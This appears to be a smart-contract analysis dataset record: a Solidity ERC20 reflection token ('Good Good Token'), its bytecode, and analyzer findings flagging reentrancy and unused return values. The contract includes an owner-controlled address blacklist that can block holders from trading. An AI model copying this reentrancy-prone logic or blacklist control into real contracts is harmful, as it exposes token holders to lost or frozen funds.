00000000000000000000000000000008152600401611e9b919061295b565b60405180910390fd5b5060008385611eb39190612c49565b9050809150509392505050565b6000806000600854905060006b033b2e3c9fd0803ce80000009050611efc6b033b2e3c9fd0803ce8000000600854611c1d90919063ffffffff16565b821015611f1e576008546b033b2e3c9fd0803ce8000000935093505050611f27565b81819350935050505b9091565b6000806000806000806000806000611f488a600a54600b54612132565b9250925092506000611f58611c67565b90506000806000611f6b8e8787876121c8565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611fd583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506117b8565b905092915050565b6000808284611fec9190612bf3565b905083811015612031576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612028906129dd565b60405180910390fd5b8091505092915050565b6000612045611c67565b9050600061205c828461225190919063ffffffff16565b90506120b081600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fdd90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61210d82600854611f9390919063ffffffff16565b60088190555061212881600954611fdd90919063ffffffff16565b6009819055505050565b60008060008061215e6064612150888a61225190919063ffffffff16565b611c1d90919063ffffffff16565b90506000612188606461217a888b61225190919063ffffffff16565b611c1d90919063ffffffff16565b905060006121b1826121a3858c611f9390919063ffffffff16565b611f9390919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806121e1858961225190919063ffffffff16565b905060006121f8868961225190919063ffffffff16565b9050600061220f878961225190919063ffffffff16565b905060006122388261222a8587611f9390919063ffffffff16565b611f9390919063ffffffff16565b9050838184965096509650505050509450945094915050565b60008083141561226457600090506122c6565b600082846122729190612c7a565b90508284826122819190612c49565b146122c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122b8906129fd565b60405180910390fd5b809150505b92915050565b60006122df6122da84612b72565b612b4d565b9050808382526020820190508285602086028201111561230257612301612edd565b5b60005b858110156123325781612318888261233c565b845260208401935060208301925050600181019050612305565b5050509392505050565b60008135905061234b816131a1565b92915050565b600081519050612360816131a1565b92915050565b600082601f83011261237b5761237a612ed8565b5b813561238b8482602086016122cc565b91505092915050565b6000813590506123a3816131b8565b92915050565b6000815190506123b8816131b8565b92915050565b6000813590506123cd816131cf565b92915050565b6000815190506123e2816131cf565b92915050565b6000602082840312156123fe576123fd612ee7565b5b600061240c8482850161233c565b91505092915050565b60006020828403121561242b5761242a612ee7565b5b600061243984828501612351565b91505092915050565b6000806040838503121561245957612458612ee7565b5b60006124678582860161233c565b92505060206124788582860161233c565b9150509250929050565b60008060006060848603121561249b5761249a612ee7565b5b60006124a98682870161233c565b93505060206124ba8682870161233c565b92505060406124cb868287016123be565b9150509250925092565b600080604083850312156124ec576124eb612ee7565b5b60006124fa8582860161233c565b925050602061250b858286016123be565b9150509250929050565b60006020828403121561252b5761252a612ee7565b5b600082013567ffffffffffffffff81111561254957612548612ee2565b5b61255584828501612366565b91505092915050565b60006020828403121561257457612573612ee7565b5b600061258284828501612394565b91505092915050565b6000602082840312156125a1576125a0612ee7565b5b60006125af848285016123a9565b91505092915050565b6000806000606084860312156125d1576125d0612ee7565b5b60006125df868287016123d3565b93505060206125f0868287016123d3565b9250506040612601868287016123d3565b9150509250925092565b60006126178383612623565b60208301905092915050565b61262c81612d08565b82525050565b61263b81612d08565b82525050565b600061264c82612bae565b6126568185612bd1565b935061266183612b9e565b8060005b83811015612692578151612679888261260b565b975061268483612bc4565b925050600181019050612665565b5085935050505092915050565b6126a881612d1a565b82525050565b6126b781612d5d565b82525050565b60006126c882612bb9565b6126d28185612be2565b93506126e2818560208601612d6f565b6126eb81612eec565b840191505092915050565b6000612703602383612be2565b915061270e82612efd565b604082019050919050565b6000612726602a83612be2565b915061273182612f4c565b604082019050919050565b6000612749602283612be2565b915061275482612f9b565b604082019050919050565b600061276c601b83612be2565b915061277782612fea565b602082019050919050565b600061278f602183612be2565b915061279a82613013565b604082019050919050565b60006127b2602083612be2565b91506127bd82613062565b602082019050919050565b60006127d5602983612be2565b91506127e08261308b565b604082019050919050565b60006127f8602583612be2565b9150612803826130da565b604082019050919050565b600061281b602483612be2565b915061282682613129565b604082019050919050565b600061283e601783612be2565b915061284982613178565b602082019050919050565b61285d81612d46565b82525050565b61286c81612d50565b82525050565b60006020820190506128876000830184612632565b92915050565b60006040820190506128a26000830185612632565b6128af6020830184612632565b9392505050565b60006040820190506128cb6000830185612632565b6128d86020830184612854565b9392505050565b600060c0820190506128f46000830189612632565b6129016020830188612854565b61290e60408301876126ae565b61291b60608301866126ae565b6129286080830185612632565b61293560a0830184612854565b979650505050505050565b6000602082019050612955600083018461269f565b92915050565b6000602082019050818103600083015261297581846126bd565b905092915050565b60006020820190508181036000830152612996816126f6565b9050919050565b600060208201905081810360008301526129b681612719565b9050919050565b600060208201905081810360008301526129d68161273c565b9050919050565b600060208201905081810360008301526129f68161275f565b9050919050565b60006020820190508181036000830152612a1681612782565b9050919050565b60006020820190508181036000830152612a36816127a5565b9050919050565b60006020820190508181036000830152612a56816127c8565b9050919050565b60006020820190508181036000830152612a76816127eb565b9050919050565b60006020820190508181036000830152612a968161280e565b9050919050565b60006020820190508181036000830152612ab681612831565b9050919050565b6000602082019050612ad26000830184612854565b92915050565b600060a082019050612aed6000830188612854565b612afa60208301876126ae565b8181036040830152612b0c8186612641565b9050612b1b6060830185612632565b612b286080830184612854565b9695505050505050565b6000602082019050612b476000830184612863565b92915050565b6000612b57612b68565b9050612b638282612da2565b919050565b6000604051905090565b600067ffffffffffffffff821115612b8d57612b8c612ea9565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612bfe82612d46565b9150612c0983612d46565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612c3e57612c3d612e1c565b5b828201905092915050565b6000612c5482612d46565b9150612c5f83612d46565b925082612c6f57612c6e612e4b565b5b828204905092915050565b6000612c8582612d46565b9150612c9083612d46565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612cc957612cc8612e1c565b5b828202905092915050565b6000612cdf82612d46565b9150612cea83612d46565b925082821015612cfd57612cfc612e1c565b5b828203905092915050565b6000612d1382612d26565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612d6882612d46565b9050919050565b60005b83811015612d8d578082015181840152602081019050612d72565b83811115612d9c576000848401525b50505050565b612dab82612eec565b810181811067ffffffffffffffff82111715612dca57612dc9612ea9565b5b80604052505050565b6000612dde82612d46565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612e1157612e10612e1c565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6131aa81612d08565b81146131b557600080fd5b50565b6131c181612d1a565b81146131cc57600080fd5b50565b6131d881612d46565b81146131e357600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122004e087f19ee94d5d98a1b443b8b759277aed299779407bbd3f7fdcebb5e67e4264736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
3,119
0x70f53212b3f591f63a04a8a01cf96503dc3f2cc5
/** *Submitted for verification at Etherscan.io on 2021-11-11 */ /* Good Good Token https://t.me/GoodGoodERC */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.6; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract GG is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "@GoodGoodERC"; string private constant _symbol = "GG"; uint8 private constant _decimals = 9; //RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 5; uint256 private _redisfee = 5; //Bots mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance} (address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 200000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _redisfee == 0) return; _taxFee = 0; _redisfee = 0; } function restoreAllFee() private { _taxFee = 5; _redisfee = 5; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (120 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function maxtx(uint256 maxTxpc) external onlyOwner() { require(maxTxpc > 0); _maxTxAmount = _tTotal.mul(maxTxpc).div(10**4); emit MaxTxAmountUpdated(_maxTxAmount); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _redisfee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101025760003560e01c806370a0823111610095578063a9059cbb11610064578063a9059cbb146102c5578063b515566a146102e5578063c3c8cd8014610305578063c9567bf91461031a578063dd62ed3e1461032f57600080fd5b806370a082311461023d578063715018a61461025d5780638da5cb5b1461027257806395d89b411461029a57600080fd5b80632634e5e8116100d15780632634e5e8146101ca578063313ce567146101ec5780635932ead1146102085780636fc3eaec1461022857600080fd5b806306fdde031461010e578063095ea7b31461015557806318160ddd1461018557806323b872dd146101aa57600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b5060408051808201909152600c81526b40476f6f64476f6f6445524360a01b60208201525b60405161014c9190611916565b60405180910390f35b34801561016157600080fd5b5061017561017036600461179d565b610375565b604051901515815260200161014c565b34801561019157600080fd5b50670de0b6b3a76400005b60405190815260200161014c565b3480156101b657600080fd5b506101756101c536600461175c565b61038c565b3480156101d657600080fd5b506101ea6101e53660046118cf565b6103f5565b005b3480156101f857600080fd5b506040516009815260200161014c565b34801561021457600080fd5b506101ea610223366004611895565b61048e565b34801561023457600080fd5b506101ea6104d6565b34801561024957600080fd5b5061019c6102583660046116e9565b610503565b34801561026957600080fd5b506101ea610525565b34801561027e57600080fd5b506000546040516001600160a01b03909116815260200161014c565b3480156102a657600080fd5b50604080518082019091526002815261474760f01b602082015261013f565b3480156102d157600080fd5b506101756102e036600461179d565b610599565b3480156102f157600080fd5b506101ea6103003660046117c9565b6105a6565b34801561031157600080fd5b506101ea61063c565b34801561032657600080fd5b506101ea610672565b34801561033b57600080fd5b5061019c61034a366004611723565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000610382338484610a34565b5060015b92915050565b6000610399848484610b58565b6103eb84336103e685604051806060016040528060288152602001611b02602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610f6a565b610a34565b5060019392505050565b6000546001600160a01b031633146104285760405162461bcd60e51b815260040161041f9061196b565b60405180910390fd5b6000811161043557600080fd5b61045361271061044d670de0b6b3a764000084610fa4565b9061102a565b60108190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6000546001600160a01b031633146104b85760405162461bcd60e51b815260040161041f9061196b565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b0316146104f657600080fd5b476105008161106c565b50565b6001600160a01b038116600090815260026020526040812054610386906110f1565b6000546001600160a01b0316331461054f5760405162461bcd60e51b815260040161041f9061196b565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610382338484610b58565b6000546001600160a01b031633146105d05760405162461bcd60e51b815260040161041f9061196b565b60005b8151811015610638576001600a60008484815181106105f4576105f4611ab2565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061063081611a81565b9150506105d3565b5050565b600c546001600160a01b0316336001600160a01b03161461065c57600080fd5b600061066730610503565b90506105008161116e565b6000546001600160a01b0316331461069c5760405162461bcd60e51b815260040161041f9061196b565b600f54600160a01b900460ff16156106f65760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161041f565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107323082670de0b6b3a7640000610a34565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561076b57600080fd5b505afa15801561077f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107a39190611706565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107eb57600080fd5b505afa1580156107ff573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108239190611706565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561086b57600080fd5b505af115801561087f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108a39190611706565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d71947306108d381610503565b6000806108e86000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561094b57600080fd5b505af115801561095f573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061098491906118e8565b5050600f80546702c68af0bb14000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b1580156109fc57600080fd5b505af1158015610a10573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061063891906118b2565b6001600160a01b038316610a965760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161041f565b6001600160a01b038216610af75760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161041f565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610bbc5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161041f565b6001600160a01b038216610c1e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161041f565b60008111610c805760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161041f565b6000546001600160a01b03848116911614801590610cac57506000546001600160a01b03838116911614155b15610f0d57600f54600160b81b900460ff1615610d93576001600160a01b0383163014801590610ce557506001600160a01b0382163014155b8015610cff5750600e546001600160a01b03848116911614155b8015610d195750600e546001600160a01b03838116911614155b15610d9357600e546001600160a01b0316336001600160a01b03161480610d535750600f546001600160a01b0316336001600160a01b0316145b610d935760405162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b604482015260640161041f565b601054811115610da257600080fd5b6001600160a01b0383166000908152600a602052604090205460ff16158015610de457506001600160a01b0382166000908152600a602052604090205460ff16155b610ded57600080fd5b600f546001600160a01b038481169116148015610e185750600e546001600160a01b03838116911614155b8015610e3d57506001600160a01b03821660009081526005602052604090205460ff16155b8015610e525750600f54600160b81b900460ff165b15610ea0576001600160a01b0382166000908152600b60205260409020544211610e7b57600080fd5b610e86426078611a11565b6001600160a01b0383166000908152600b60205260409020555b6000610eab30610503565b600f54909150600160a81b900460ff16158015610ed65750600f546001600160a01b03858116911614155b8015610eeb5750600f54600160b01b900460ff165b15610f0b57610ef98161116e565b478015610f0957610f094761106c565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff1680610f4f57506001600160a01b03831660009081526005602052604090205460ff165b15610f58575060005b610f64848484846112f7565b50505050565b60008184841115610f8e5760405162461bcd60e51b815260040161041f9190611916565b506000610f9b8486611a6a565b95945050505050565b600082610fb357506000610386565b6000610fbf8385611a4b565b905082610fcc8583611a29565b146110235760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161041f565b9392505050565b600061102383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611323565b600c546001600160a01b03166108fc61108683600261102a565b6040518115909202916000818181858888f193505050501580156110ae573d6000803e3d6000fd5b50600d546001600160a01b03166108fc6110c983600261102a565b6040518115909202916000818181858888f19350505050158015610638573d6000803e3d6000fd5b60006006548211156111585760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161041f565b6000611162611351565b9050611023838261102a565b600f805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111b6576111b6611ab2565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561120a57600080fd5b505afa15801561121e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112429190611706565b8160018151811061125557611255611ab2565b6001600160a01b039283166020918202929092010152600e5461127b9130911684610a34565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906112b49085906000908690309042906004016119a0565b600060405180830381600087803b1580156112ce57600080fd5b505af11580156112e2573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b8061130457611304611374565b61130f848484611397565b80610f6457610f6460056008819055600955565b600081836113445760405162461bcd60e51b815260040161041f9190611916565b506000610f9b8486611a29565b600080600061135e61148e565b909250905061136d828261102a565b9250505090565b6008541580156113845750600954155b1561138b57565b60006008819055600955565b6000806000806000806113a9876114ce565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506113db908761152b565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461140a908661156d565b6001600160a01b03891660009081526002602052604090205561142c816115cc565b6114368483611616565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161147b91815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a76400006114a9828261102a565b8210156114c557505060065492670de0b6b3a764000092509050565b90939092509050565b60008060008060008060008060006114eb8a60085460095461163a565b92509250925060006114fb611351565b9050600080600061150e8e878787611689565b919e509c509a509598509396509194505050505091939550919395565b600061102383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f6a565b60008061157a8385611a11565b9050838110156110235760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161041f565b60006115d6611351565b905060006115e48383610fa4565b30600090815260026020526040902054909150611601908261156d565b30600090815260026020526040902055505050565b600654611623908361152b565b600655600754611633908261156d565b6007555050565b600080808061164e606461044d8989610fa4565b90506000611661606461044d8a89610fa4565b90506000611679826116738b8661152b565b9061152b565b9992985090965090945050505050565b60008080806116988886610fa4565b905060006116a68887610fa4565b905060006116b48888610fa4565b905060006116c682611673868661152b565b939b939a50919850919650505050505050565b80356116e481611ade565b919050565b6000602082840312156116fb57600080fd5b813561102381611ade565b60006020828403121561171857600080fd5b815161102381611ade565b6000806040838503121561173657600080fd5b823561174181611ade565b9150602083013561175181611ade565b809150509250929050565b60008060006060848603121561177157600080fd5b833561177c81611ade565b9250602084013561178c81611ade565b929592945050506040919091013590565b600080604083850312156117b057600080fd5b82356117bb81611ade565b946020939093013593505050565b600060208083850312156117dc57600080fd5b823567ffffffffffffffff808211156117f457600080fd5b818501915085601f83011261180857600080fd5b81358181111561181a5761181a611